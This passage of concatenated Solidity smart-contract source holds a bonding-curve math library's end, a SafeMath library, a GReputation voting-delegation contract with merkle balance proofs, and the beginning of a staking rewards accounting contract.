xi = (xi * _x) / FIXED_1;
res += xi * 0x0205db8dffff45bfa2938f128f599dbf16eb11d880; // add x^(29-1) * (34! * 29^(29-1) / 29!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x053a044ebd984351493e1786af38d39a0800000000; // add x^(30-1) * (34! * 30^(30-1) / 30!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x0d86dae2a4cc0f47633a544479735869b487b59c40; // add x^(31-1) * (34! * 31^(31-1) / 31!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x231000000000000000000000000000000000000000; // add x^(32-1) * (34! * 32^(32-1) / 32!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x5b0485a76f6646c2039db1507cdd51b08649680822; // add x^(33-1) * (34! * 33^(33-1) / 33!)
xi = (xi * _x) / FIXED_1;
res += xi * 0xec983c46c49545bc17efa6b5b0055e242200000000; // add x^(34-1) * (34! * 34^(34-1) / 34!)
return res / 0xde1bc4d19efcac82445da75b00000000 + _x + FIXED_1; // divide by 34! and then add x^(2-1) * (34! * 2^(2-1) / 2!) + x^(1-1) * (34! * 1^(1-1) / 1!)
}
/**
* @dev computes the weights based on "W(log(hi / lo) * tq / rp) * tq / rp", where "W" is a variation of the Lambert W function.
*/
function balancedWeightsByStake(
uint256 _hi,
uint256 _lo,
uint256 _tq,
uint256 _rp,
bool _lowerStake
) internal view returns (uint32, uint32) {
(_tq, _rp) = safeFactors(_tq, _rp);
uint256 f = _hi.mul(FIXED_1) / _lo;
uint256 g = f < OPT_LOG_MAX_VAL ? optimalLog(f) : generalLog(f);
uint256 x = g.mul(_tq) / _rp;
uint256 y = _lowerStake ? lowerStake(x) : higherStake(x);
return normalizedWeights(y.mul(_tq), _rp.mul(FIXED_1));
}
/**
* @dev reduces "a" and "b" while maintaining their ratio.
*/
function safeFactors(uint256 _a, uint256 _b)
internal
pure
returns (uint256, uint256)
{
if (_a <= FIXED_2 && _b <= FIXED_2) return (_a, _b);
if (_a < FIXED_2) return ((_a * FIXED_2) / _b, FIXED_2);
if (_b < FIXED_2) return (FIXED_2, (_b * FIXED_2) / _a);
uint256 c = _a > _b ? _a : _b;
uint256 n = floorLog2(c / FIXED_1);
return (_a >> n, _b >> n);
}
/**
* @dev computes "MAX_WEIGHT * a / (a + b)" and "MAX_WEIGHT * b / (a + b)".
*/
function normalizedWeights(uint256 _a, uint256 _b)
internal
pure
returns (uint32, uint32)
{
if (_a <= _b) return accurateWeights(_a, _b);
(uint32 y, uint32 x) = accurateWeights(_b, _a);
return (x, y);
}
/**
* @dev computes "MAX_WEIGHT * a / (a + b)" and "MAX_WEIGHT * b / (a + b)", assuming that "a <= b".
*/
function accurateWeights(uint256 _a, uint256 _b)
internal
pure
returns (uint32, uint32)
{
if (_a > MAX_UNF_WEIGHT) {
uint256 c = _a / (MAX_UNF_WEIGHT + 1) + 1;
_a /= c;
_b /= c;
}
uint256 x = roundDiv(_a * MAX_WEIGHT, _a.add(_b));
uint256 y = MAX_WEIGHT - x;
return (uint32(x), uint32(y));
}
/**
* @dev computes the nearest integer to a given quotient without overflowing or underflowing.
*/
function roundDiv(uint256 _n, uint256 _d) internal pure returns (uint256) {
return _n / _d + (_n % _d) / (_d - _d / 2);
}
/**
* @dev deprecated, backward compatibility
*/
function calculatePurchaseReturn(
uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveWeight,
uint256 _amount
) public view returns (uint256) {
return
purchaseTargetAmount(
_supply,
_reserveBalance,
_reserveWeight,
_amount
);
}
/**
* @dev deprecated, backward compatibility
*/
function calculateSaleReturn(
uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveWeight,
uint256 _amount
) public view returns (uint256) {
return
saleTargetAmount(_supply, _reserveBalance, _reserveWeight, _amount);
}
/**
* @dev deprecated, backward compatibility
*/
function calculateCrossReserveReturn(
uint256 _sourceReserveBalance,
uint32 _sourceReserveWeight,
uint256 _targetReserveBalance,
uint32 _targetReserveWeight,
uint256 _amount
) public view returns (uint256) {
return
crossReserveTargetAmount(
_sourceReserveBalance,
_sourceReserveWeight,
_targetReserveBalance,
_targetReserveWeight,
_amount
);
}
/**
* @dev deprecated, backward compatibility
*/
function calculateCrossConnectorReturn(
uint256 _sourceReserveBalance,
uint32 _sourceReserveWeight,
uint256 _targetReserveBalance,
uint32 _targetReserveWeight,
uint256 _amount
) public view returns (uint256) {
return
crossReserveTargetAmount(
_sourceReserveBalance,
_sourceReserveWeight,
_targetReserveBalance,
_targetReserveWeight,
_amount
);
}
/**
* @dev deprecated, backward compatibility
*/
function calculateFundCost(
uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveRatio,
uint256 _amount
) public view returns (uint256) {
return fundCost(_supply, _reserveBalance, _reserveRatio, _amount);
}
/**
* @dev deprecated, backward compatibility
*/
function calculateLiquidateReturn(
uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveRatio,
uint256 _amount
) public view returns (uint256) {
return
liquidateReserveAmount(
_supply,
_reserveBalance,
_reserveRatio,
_amount
);
}
/**
* @dev deprecated, backward compatibility
*/
function purchaseRate(
uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveWeight,
uint256 _amount
) public view returns (uint256) {
return
purchaseTargetAmount(
_supply,
_reserveBalance,
_reserveWeight,
_amount
);
}
/**
* @dev deprecated, backward compatibility
*/
function saleRate(
uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveWeight,
uint256 _amount
) public view returns (uint256) {
return
saleTargetAmount(_supply, _reserveBalance, _reserveWeight, _amount);
}
/**
* @dev deprecated, backward compatibility
*/
function crossReserveRate(
uint256 _sourceReserveBalance,
uint32 _sourceReserveWeight,
uint256 _targetReserveBalance,
uint32 _targetReserveWeight,
uint256 _amount
) public view returns (uint256) {
return
crossReserveTargetAmount(
_sourceReserveBalance,
_sourceReserveWeight,
_targetReserveBalance,
_targetReserveWeight,
_amount
);
}
/**
* @dev deprecated, backward compatibility
*/
function liquidateRate(
uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveRatio,
uint256 _amount
) public view returns (uint256) {
return
liquidateReserveAmount(
_supply,
_reserveBalance,
_reserveRatio,
_amount
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "./Reputation.sol";
import "../Interfaces.sol";
/**
* @title GReputation extends Reputation with delegation and cross blockchain merkle states
* @dev NOTICE: this breaks DAOStack nativeReputation usage, since it is not possiible to upgrade
* the original nativeReputation token. it means you can no longer rely on avatar.nativeReputation() or controller.nativeReputation()
* to return the current reputation token.
* The DAO avatar will be the owner of this reputation token and not the Controller.
* Minting by the DAO will be done using controller.genericCall and not via controller.mintReputation
*/
contract GReputation is Reputation {
bytes32 public constant ROOT_STATE = keccak256("rootState");
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH =
keccak256(
"EIP712Domain(string name,uint256 chainId,address verifyingContract)"
);
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH =
keccak256("Delegation(address delegate,uint256 nonce,uint256 expiry)");
/// @notice describe a single blockchain states
/// @param stateHash the hash with the reputation state
/// @param hashType the type of hash. currently just 0 = merkle tree root hash
/// @param totalSupply the totalSupply at the blockchain
/// @param blockNumber the effective blocknumber
struct BlockchainState {
bytes32 stateHash;
uint256 hashType;
uint256 totalSupply;
uint256 blockNumber;
uint256[5] __reserevedSpace;
}
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice mapping from blockchain id hash to list of states
mapping(bytes32 => BlockchainState[]) public blockchainStates;
/// @notice mapping from stateHash to the user balance can be >0 only after supplying state proof
mapping(bytes32 => mapping(address => uint256)) public stateHashBalances;
/// @notice list of blockchains having a statehash for easy iteration
bytes32[] public activeBlockchains;
/// @notice keep map of user -> delegate
mapping(address => address) public delegates;
/// @notice map of user non delegated + delegated votes to user. this is used for actual voting
mapping(address => uint256[]) public activeVotes;
/// @notice keep map of address -> reputation recipient, an address can set that its earned rep will go to another address
mapping(address => address) public reputationRecipients;
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(
address indexed delegate,
address indexed delegator,
uint256 previousBalance,
uint256 newBalance
);
event StateHash(string blockchain, bytes32 merkleRoot, uint256 totalSupply);
event StateHashProof(string blockchain, address user, uint256 repBalance);
/**
* @dev initialize
*/
function initialize(
INameService _ns,
string calldata _stateId,
bytes32 _stateHash,
uint256 _totalSupply
) external initializer {
__Reputation_init(_ns);
if (_totalSupply > 0)
_setBlockchainStateHash(_stateId, _stateHash, _totalSupply);
}
function _canMint() internal view override {
require(
_msgSender() == nameService.getAddress("GDAO_CLAIMERS") ||
_msgSender() == nameService.getAddress("GDAO_STAKING") ||
_msgSender() == nameService.getAddress("GDAO_STAKERS") ||
hasRole(MINTER_ROLE, _msgSender()),
"GReputation: need minter role or be GDAO contract"
);
}
/// @notice internal function that overrides Reputation.sol with consideration to delegation
/// @param _user the address to mint for
/// @param _amount the amount of rep to mint
/// @return the actual amount minted
function _mint(address _user, uint256 _amount)
internal
override
returns (uint256)
{
address repTarget = reputationRecipients[_user];
repTarget = repTarget != address(0) ? repTarget : _user;
super._mint(repTarget, _amount);
//set self as initial delegator
address delegator = delegates[repTarget];
if (delegator == address(0)) {
delegates[repTarget] = repTarget;
delegator = repTarget;
}
uint256 previousVotes = getVotesAt(delegator, false, block.number);
_updateDelegateVotes(
delegator,
repTarget,
previousVotes,
previousVotes + _amount
);
return _amount;
}
/// @notice internal function that overrides Reputation.sol with consideration to delegation
/// @param _user the address to burn from
/// @param _amount the amount of rep to mint
/// @return the actual amount burned
function _burn(address _user, uint256 _amount)
internal
override
returns (uint256)
{
uint256 amountBurned = super._burn(_user, _amount);
address delegator = delegates[_user];
delegator = delegator != address(0) ? delegator : _user;
delegates[_user] = delegator;
uint256 previousVotes = getVotesAt(delegator, false, block.number);
_updateDelegateVotes(
delegator,
_user,
previousVotes,
previousVotes - amountBurned
);
return amountBurned;
}
/// @notice sets the state hash of a blockchain, can only be called by owner
/// @param _id the string name of the blockchain (will be hashed to produce byte32 id)
/// @param _hash the state hash
/// @param _totalSupply total supply of reputation on the specific blockchain
function setBlockchainStateHash(
string memory _id,
bytes32 _hash,
uint256 _totalSupply
) public {
_onlyAvatar();
_setBlockchainStateHash(_id, _hash, _totalSupply);
}
/// @notice sets the state hash of a blockchain, can only be called by owner
/// @param _id the string name of the blockchain (will be hashed to produce byte32 id)
/// @param _hash the state hash
/// @param _totalSupply total supply of reputation on the specific blockchain
function _setBlockchainStateHash(
string memory _id,
bytes32 _hash,
uint256 _totalSupply
) internal {
bytes32 idHash = keccak256(bytes(_id));
//dont consider rootState as blockchain, it is a special state hash
bool isRootState = idHash == ROOT_STATE;
require(
!isRootState || totalSupplyLocalAt(block.number) == 0,
"rootState already created"
);
uint256 i = 0;
for (; !isRootState && i < activeBlockchains.length; i++) {
if (activeBlockchains[i] == idHash) break;
}
//if new blockchain
if (!isRootState && i == activeBlockchains.length) {
activeBlockchains.push(idHash);
}
BlockchainState memory state;
state.stateHash = _hash;
state.totalSupply = _totalSupply;
state.blockNumber = block.number;
blockchainStates[idHash].push(state);
emit StateHash(_id, _hash, _totalSupply);
}
/// @notice get the number of active votes a user holds after delegation (vs the basic balance of reputation he holds)
/// @param _user the user to get active votes for
/// @param _global wether to include reputation from other blockchains
/// @param _blockNumber get votes state at specific block
/// @return the number of votes
function getVotesAt(
address _user,
bool _global,
uint256 _blockNumber
) public view returns (uint256) {
uint256 startingBalance = getValueAt(activeVotes[_user], _blockNumber);
if (_global) {
for (uint256 i = 0; i < activeBlockchains.length; i++) {
startingBalance += getVotesAtBlockchain(
activeBlockchains[i],
_user,
_blockNumber
);
}
}
return startingBalance;
}
/**
* @notice returns aggregated active votes in all blockchains and delegated
* @param _user the user to get active votes for
* @return the number of votes
*/
function getVotes(address _user) public view returns (uint256) {
return getVotesAt(_user, true, block.number);
}
/**
* @notice same as getVotes, be compatible with metamask
*/
function balanceOf(address _user) public view returns (uint256 balance) {
return getVotesAt(_user, block.number);
}
/**
same as getVotes be compatible with compound
*/
function getCurrentVotes(address _user) public view returns (uint256) {
return getVotesAt(_user, true, block.number);
}
function getPriorVotes(address _user, uint256 _block)
public
view
returns (uint256)
{
return getVotesAt(_user, true, _block);
}
/**
* @notice returns aggregated active votes in all blockchains and delegated at specific block
* @param _user user to get active votes for
* @param _blockNumber get votes state at specific block
* @return the number of votes
*/
function getVotesAt(address _user, uint256 _blockNumber)
public
view
returns (uint256)
{
return getVotesAt(_user, true, _blockNumber);
}
/**
* @notice returns total supply in current blockchain
* @param _blockNumber get total supply at specific block
* @return the totaly supply
*/
function totalSupplyLocal(uint256 _blockNumber)
public
view
returns (uint256)
{
return totalSupplyLocalAt(_blockNumber);
}
/**
* @notice returns total supply in all blockchain aggregated
* @param _blockNumber get total supply at specific block
* @return the totaly supply
*/
function totalSupplyAt(uint256 _blockNumber) public view returns (uint256) {
uint256 startingSupply = totalSupplyLocalAt(_blockNumber);
for (uint256 i = 0; i < activeBlockchains.length; i++) {
startingSupply += totalSupplyAtBlockchain(
activeBlockchains[i],
_blockNumber
);
}
return startingSupply;
}
/// @dev This function makes it easy to get the total number of reputation
/// @return The total number of reputation
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
/// @notice get the number of active votes a user holds after delegation in specific blockchain
/// @param _id the keccak hash of the blockchain string id
/// @param _user the user to get active votes for
/// @param _blockNumber get votes state at specific block
/// @return the number of votes
function getVotesAtBlockchain(
bytes32 _id,
address _user,
uint256 _blockNumber
) public view returns (uint256) {
BlockchainState[] storage states = blockchainStates[_id];
int256 i = int256(states.length);
if (i == 0) return 0;
BlockchainState storage state = states[uint256(i - 1)];
for (i = i - 1; i >= 0; i--) {
if (state.blockNumber <= _blockNumber) break;
state = states[uint256(i - 1)];
}
if (i < 0) return 0;
return stateHashBalances[state.stateHash][_user];
}
/**
* @notice returns total supply in a specific blockchain
* @param _blockNumber get total supply at specific block
* @return the totaly supply
*/
function totalSupplyAtBlockchain(bytes32 _id, uint256 _blockNumber)
public
view
returns (uint256)
{
BlockchainState[] storage states = blockchainStates[_id];
int256 i;
if (states.length == 0) return 0;
for (i = int256(states.length - 1); i >= 0; i--) {
if (states[uint256(i)].blockNumber <= _blockNumber) break;
}
if (i < 0) return 0;
BlockchainState storage state = states[uint256(i)];
return state.totalSupply;
}
/**
* @notice prove user balance in a specific blockchain state hash
* @dev "rootState" is a special state that can be supplied once, and actually mints reputation on the current blockchain
* we use non sorted merkle tree, as sorting while preparing merkle tree is heavy
* @param _id the string id of the blockchain we supply proof for
* @param _user the user to prove his balance
* @param _balance the balance we are prooving
* @param _proof array of byte32 with proof data (currently merkle tree path)
* @param _nodeIndex index of node in the tree (for unsorted merkle tree proof)
* @return true if proof is valid
*/
function proveBalanceOfAtBlockchain(
string memory _id,
address _user,
uint256 _balance,
bytes32[] memory _proof,
uint256 _nodeIndex
) public returns (bool) {
bytes32 idHash = keccak256(bytes(_id));
require(
blockchainStates[idHash].length > 0,
"no state found for given _id"
);
bytes32 stateHash = blockchainStates[idHash][
blockchainStates[idHash].length - 1
].stateHash;
//this is specifically important for rootState that should update real balance only once
require(
stateHashBalances[stateHash][_user] == 0,
"stateHash already proved"
);
bytes32 leafHash = keccak256(abi.encode(_user, _balance));
bool isProofValid = checkProofOrdered(
_proof,
stateHash,
leafHash,
_nodeIndex
);
require(isProofValid, "invalid merkle proof");
//if initiial state then set real balance
if (idHash == ROOT_STATE) {
_mint(_user, _balance);
}
//if proof is valid then set balances
stateHashBalances[stateHash][_user] = _balance;
emit StateHashProof(_id, _user, _balance);
return true;
}
/// @notice returns current delegate of _user
/// @param _user the delegatee
/// @return the address of the delegate (can be _user if no delegate or 0x0 if _user doesnt exists)
function delegateOf(address _user) public view returns (address) {
return delegates[_user];
}
/// @notice delegate votes to another user
/// @param _delegate the recipient of votes
function delegateTo(address _delegate) public {
return _delegateTo(_msgSender(), _delegate);
}
/// @notice cancel user delegation
/// @dev makes user his own delegate
function undelegate() public {
return _delegateTo(_msgSender(), _msgSender());
}
/**
* @notice Delegates votes from signatory to `delegate`
* @param _delegate The address to delegate votes to
* @param _nonce The contract state required to match the signature
* @param _expiry The time at which to expire the signature
* @param _v The recovery byte of the signature
* @param _r Half of the ECDSA signature pair
* @param _s Half of the ECDSA signature pair
*/
function delegateBySig(
address _delegate,
uint256 _nonce,
uint256 _expiry,
uint8 _v,
bytes32 _r,
bytes32 _s
) public {
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name)),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(DELEGATION_TYPEHASH, _delegate, _nonce, _expiry)
);
bytes32 digest = keccak256(
abi.encodePacked("\x19\x01", domainSeparator, structHash)
);
address signatory = ecrecover(digest, _v, _r, _s);
require(
signatory != address(0),
"GReputation::delegateBySig: invalid signature"
);
require(
_nonce == nonces[signatory]++,
"GReputation::delegateBySig: invalid nonce"
);
require(
block.timestamp <= _expiry,
"GReputation::delegateBySig: signature expired"
);
return _delegateTo(signatory, _delegate);
}
/// @notice internal function to delegate votes to another user
/// @param _user the source of votes (delegator)
/// @param _delegate the recipient of votes
function _delegateTo(address _user, address _delegate) internal {
require(
_delegate != address(0),
"GReputation::delegate can't delegate to null address"
);
address curDelegator = delegates[_user];
require(curDelegator != _delegate, "already delegating to delegator");
delegates[_user] = _delegate;
// remove votes from current delegator
uint256 coreBalance = balanceOfLocalAt(_user, block.number);
//redundant check - should not be possible to have address 0 as delegator
if (curDelegator != address(0)) {
uint256 removeVotes = getVotesAt(curDelegator, false, block.number);
_updateDelegateVotes(
curDelegator,
_user,
removeVotes,
removeVotes - coreBalance
);
}
//move votes to new delegator
uint256 addVotes = getVotesAt(_delegate, false, block.number);
_updateDelegateVotes(_delegate, _user, addVotes, addVotes + coreBalance);
}
/// @notice internal function to update delegated votes, emits event with changes
/// @param _delegate the delegate whose record we are updating
/// @param _delegator the delegator
/// @param _oldVotes the delegate previous votes
/// @param _newVotes the delegate votes after the change
function _updateDelegateVotes(
address _delegate,
address _delegator,
uint256 _oldVotes,
uint256 _newVotes
) internal {
updateValueAtNow(activeVotes[_delegate], _newVotes);
emit DelegateVotesChanged(_delegate, _delegator, _oldVotes, _newVotes);
}
// from StorJ -- https://github.com/nginnever/storj-audit-verifier/blob/master/contracts/MerkleVerifyv3.sol
/**
* @dev non sorted merkle tree proof check
*/
function checkProofOrdered(
bytes32[] memory _proof,
bytes32 _root,
bytes32 _hash,
uint256 _index
) public pure returns (bool) {
// use the index to determine the node ordering
// index ranges 1 to n
bytes32 proofElement;
bytes32 computedHash = _hash;
uint256 remaining;
for (uint256 j = 0; j < _proof.length; j++) {
proofElement = _proof[j];
// calculate remaining elements in proof
remaining = _proof.length - j;
// we don't assume that the tree is padded to a power of 2
// if the index is odd then the proof will start with a hash at a higher
// layer, so we have to adjust the index to be the index at that layer
while (remaining > 0 && _index % 2 == 1 && _index > 2**remaining) {
_index = _index / 2 + 1;
}
if (_index % 2 == 0) {
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
_index = _index / 2;
} else {
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
_index = _index / 2 + 1;
}
}
return computedHash == _root;
}
/// @notice helper function to get current chain id
/// @return chain id
function getChainId() internal view returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
function setReputationRecipient(address _target) public {
reputationRecipients[msg.sender] = _target;
}
function fix1() public {
if (
getVotes(0x7f8c1877Ed0DA352F78be4Fe4CdA58BB804a30dF) ==
1008145362854518632309 &&
getVotes(0xDEb250aDD368b74ebCCd59862D62fa4Fb57E09D4) ==
587905678906424942728383 &&
getVotes(0x1D5096665E79585019c448259D944090F28702E3) ==
3421532080040613840050
) {
_updateDelegateVotes(
0x7f8c1877Ed0DA352F78be4Fe4CdA58BB804a30dF,
0x7f8c1877Ed0DA352F78be4Fe4CdA58BB804a30dF,
1008145362854518632309,
balanceOfLocal(0x7f8c1877Ed0DA352F78be4Fe4CdA58BB804a30dF)
);
_updateDelegateVotes(
0xDEb250aDD368b74ebCCd59862D62fa4Fb57E09D4,
0xDEb250aDD368b74ebCCd59862D62fa4Fb57E09D4,
587905678906424942728383,
balanceOfLocal(0xDEb250aDD368b74ebCCd59862D62fa4Fb57E09D4)
);
_updateDelegateVotes(
0x1D5096665E79585019c448259D944090F28702E3,
0x1D5096665E79585019c448259D944090F28702E3,
3421532080040613840050,
balanceOfLocal(0x1D5096665E79585019c448259D944090F28702E3)
);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "../Interfaces.sol";
import "../utils/DSMath.sol";
/***
* supports accounting for multiple staking contracts to calculate GDAO rewards
*/
abstract contract MultiBaseGovernanceShareField is DSMath {
// Total Amount of stakes
mapping(address => uint256) totalProductivity;
// Reward amount of the each share
mapping(address => uint256) accAmountPerShare;
// Amount of the rewards which minted so far
mapping(address => uint256) public rewardsMintedSoFar;
// Amount of the rewards with pending and minted ones together
mapping(address => uint256) public totalRewardsAccumulated;
// Block number of last reward calculation made
mapping(address => uint256) public lastRewardBlock;
// Rewards amount that will be provided each block
mapping(address => uint256) public rewardsPerBlock;
struct UserInfo {
uint128 amount; // How many tokens the user has staked.
uint128 rewardDebt; // Rewards that accounted already so should be substracted while calculating rewards of staker
uint128 rewardEarn; // Reward earn and not minted
uint128 rewardMinted; // rewards sent to the user
}
mapping(address => mapping(address => UserInfo)) public contractToUsers;
function getChainBlocksPerMonth() public virtual returns (uint256);
/**
* @dev Calculate rewards per block from monthly amount of rewards and set it
* @param _monthlyAmount total rewards which will distribute monthly
*/
function _setMonthlyRewards(address _contract, uint256 _monthlyAmount)
internal
{
rewardsPerBlock[_contract] = _monthlyAmount / getChainBlocksPerMonth();
}
/**
* @dev Update reward variables of the given pool to be up-to-date.
* Make reward calculations according to passed blocks and updates rewards by
* multiplying passed blocks since last calculation with rewards per block value
* and add it to accumalated amount per share by dividing total productivity
*/
function _update(
address _contract,
uint256 _blockStart,
uint256 _blockEnd
) internal virtual {
if (totalProductivity[_contract] == 0) {
lastRewardBlock[_contract] = block.number;
return;
}
(uint256 _lastRewardBlock, uint256 _accAmountPerShare) = _calcUpdate(
_contract,
_blockStart,
_blockEnd
);
accAmountPerShare[_contract] = _accAmountPerShare;
lastRewardBlock[_contract] = _lastRewardBlock;
}
/**
* @dev helper to calculate global rewards accumulated per block so far
* @param _contract the contract to calcualte the rewards for
* @param _blockStart the block from which the contract is eligble for rewards
* @param _blockEnd the block from which the contract is no longer eligble for rewards
*/
function _calcUpdate(
address _contract,
uint256 _blockStart,
uint256 _blockEnd
)
internal
view
returns (uint256 _lastRewardBlock, uint256 _accAmountPerShare)
{
_accAmountPerShare = accAmountPerShare[_contract];
_lastRewardBlock = lastRewardBlock[_contract];
_lastRewardBlock = _lastRewardBlock < _blockStart &&
block.number >= _blockStart
? _blockStart
: _lastRewardBlock;
uint256 curRewardBlock = block.number > _blockEnd
? _blockEnd
: block.number;
if (curRewardBlock < _blockStart || _lastRewardBlock >= _blockEnd)
return (_lastRewardBlock, _accAmountPerShare);
uint256 multiplier = curRewardBlock - _lastRewardBlock; // Blocks passed since last reward block
uint256 reward = multiplier * rewardsPerBlock[_contract]; // rewardsPerBlock is in GDAO which is in 18 decimals
_accAmountPerShare += (reward * 1e27) / totalProductivity[_contract]; // totalProductivity in 18decimals and reward in 18 decimals so rdiv result in 27decimals
_lastRewardBlock = curRewardBlock;
}
/**
* @dev Audit user's rewards and calculate their earned rewards based on stake_amount * accAmountPerShare
*/
function _audit(
address _contract,
address _user,
uint256 _updatedAmount
) internal virtual {
UserInfo storage userInfo = contractToUsers[_contract][_user];
if (userInfo.amount > 0) {
uint256 pending = (userInfo.amount * accAmountPerShare[_contract]) /
1e27 -
userInfo.rewardDebt; // Divide 1e27(because userinfo.amount in 18 decimals and accAmountPerShare is in 27decimals) since rewardDebt in 18 decimals so we can calculate how much reward earned in that cycle
userInfo.rewardEarn = userInfo.rewardEarn + uint128(pending); // Add user's earned rewards to user's account so it can be minted later
totalRewardsAccumulated[_contract] =
totalRewardsAccumulated[_contract] +
pending;
}
userInfo.amount = uint128(_updatedAmount);
userInfo.rewardDebt = uint128(
(_updatedAmount * accAmountPerShare[_contract]) / 1e27
); // Divide to 1e27 to keep rewardDebt in 18 decimals since accAmountPerShare is in 27 decimals and amount is 18 decimals
}
/**
* @dev This function increase user's productivity and updates the global productivity.
* This function increase user's productivity and updates the global productivity.
* the users' actual share percentage will calculated by:
* Formula: user_productivity / global_productivity
*/
function _increaseProductivity(
address _contract,
address _user,
uint256 _value,
uint256 _blockStart,
uint256 _blockEnd
) internal virtual returns (bool) {
_update(_contract, _blockStart, _blockEnd);
_audit(_contract, _user, contractToUsers[_contract][_user].amount + _value);
totalProductivity[_contract] = totalProductivity[_contract] + _value;
return true;
}
/**
* @dev This function will decreases user's productivity by value, and updates the global productivity
* it will record which block this is happenning and accumulates the area of (productivity * time)
*/
function _decreaseProductivity(
address _contract,
address _user,
uint256 _value,
